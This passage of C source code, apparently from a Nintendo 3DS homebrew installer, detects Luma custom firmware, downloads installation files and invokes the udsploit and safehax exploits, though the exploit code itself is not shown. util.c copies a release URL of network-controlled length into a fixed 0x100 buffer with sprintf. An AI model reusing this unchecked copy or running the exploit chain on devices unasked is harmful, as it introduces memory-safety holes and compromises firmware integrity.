udsploit\n\x1b[1;36mTinivi\x1b[1;37m for safehax"); 152 | consoleSelect(&top); 153 | printf("\x1b[1;37m"); 154 | bool cfwflag = false; 155 | u32 status; 156 | ACU_GetWifiStatus(&status); 157 | if(status == 0) 158 | { 159 | printf("You're not connected to the internet, please connect to a internet and open this app again. Press START to exit."); 160 | } 161 | else 162 | { 163 | printf("Press A to begin\n"); 164 | while(aptMainLoop()) 165 | { 166 | hidScanInput(); 167 | if(hidKeysDown() & KEY_A) 168 | break; 169 | } 170 | 171 | printf("Checking if cfw is installed\n"); 172 | lumainfo version; 173 | Result ret = checkLumaVersion(&version); 174 | printf("Ret %08lX", ret); 175 | (ret == 0xF8C007F4) ? (cfwflag = false) : (cfwflag = true); 176 | if(cfwflag == false) 177 | { 178 | printf("Not running cfw\n"); 179 | if(checkFileExists("/safehaxpayload.bin") == 0) //check if files already exsist for step 1. 180 | { 181 | print("Downloading files for CFW installation\n"); 182 | downloadExtractStep1(); 183 | } 184 | printf("Running exploits\n"); 185 | doExploitsStep1(); 186 | } 187 | else 188 | { 189 | //User is running luma cfw 190 | printf("Running cfw\n"); 191 | if(ret == 0) 192 | { 193 | double ver = version.versionMajor + (double)(version.versionMinor/10); 194 | if(ver < 7.1) 195 | { 196 | printf("A9LH has been detected. Press start to exit."); 197 | } 198 | } 199 | print("Downloading files for Step 2...\n"); 200 | //parseApi("https://api.github.com/repos/pirater12/ocs/releases/latest"); 201 | downloadExtractStep2(); 202 | printf("Proccess Finished. Press Start to exit and enjoy\n"); 203 | } 204 | } 205 | 206 | while(aptMainLoop()) 207 | { 208 | hidScanInput(); 209 | 210 | if(hidKeysDown() & KEY_START) 211 | break; 212 | 213 | } 214 | httpcExit(); 215 | logExit(); 216 | gfxExit(); 217 | return 0; 218 | } -------------------------------------------------------------------------------- /source/util.c: -------------------------------------------------------------------------------- 1 | #include "util.h" 2 | 3 | //Code from jsmn example 4 | int jsoneq(const char *json, jsmntok_t *tok, const char *s) { 5 | if (tok->type == JSMN_STRING && (int)strlen(s) == tok->end - tok->start && 6 | strncmp(json + tok->start, s, tok->end - tok->start) == 0) { 7 | return 0; 8 | } 9 | return -1; 10 | } 11 | 12 | 13 | char *parseApi(const char *url, const char *format) 14 | { 15 | printf("Parsing JSON to get latest release\n"); 16 | Result ret = httpDownloadData(url); 17 | jsmn_parser p = {}; 18 | jsmn_init(&p); 19 | static char downloadUrl[0x100], returnDownloadUrl[0x100]; 20 | jsmntok_t t[512] = {}; 21 | u8* apiReqData = httpRetrieveData(); 22 | int r = jsmn_parse(&p, (const char *)apiReqData, httpBufSize(), t, sizeof(t) / sizeof(t[0])); 23 | if (r < 0) { 24 | printf("Failed to parse JSON %d", r); 25 | } 26 | bool inassets = false; 27 | for (int i = 0; i < r; i++) { 28 | if (!inassets && jsoneq((const char*)apiReqData, &t[i], "assets") == 0) { 29 | inassets = true; 30 | } 31 | if (inassets) { 32 | if (jsoneq((const char*)apiReqData, &t[i], "browser_download_url") == 0) { 33 | sprintf(downloadUrl, "%.*s", t[i+1].end-t[i+1].start, apiReqData + t[i+1].start); 34 | if(strstr(downloadUrl, format) != NULL) 35 | { 36 | strcpy(returnDownloadUrl, downloadUrl); 37 | printf("Downloading the latest release\n"); 38 | } 39 | } 40 | } 41 | } 42 | httpFree(); 43 | return returnDownloadUrl; 44 | } 45 | 46 | extern PrintConsole bottom, top; 47 | 48 | void progressbar(const char *string, double update, double total, bool progBarTotal) 49 | { 50 | int nfill = 35; 51 | int totalfill = (int)((update/total)*(double)nfill); 52 | consoleSelect(&bottom); 53 | if(progBarTotal == false) 54 | printf("\x1b[14;0H%s%3.2f%% Complete \x1b[15;0H[", string,((update/total)*100.0)); 55 | else 56 | printf("\x1b[17;0H%s%3.2f%% Complete \x1b[18;0H[", string,((update/total)*100.0)); 57 | for(int a = 0; a < totalfill; a++) 58 | printf("="); 59 | 60 | printf(">"); 61 | printf("%*s%s", nfill - totalfill, "", "]"); 62 | consoleSelect(&top); 63 | } --------------------------------------------------------------------------------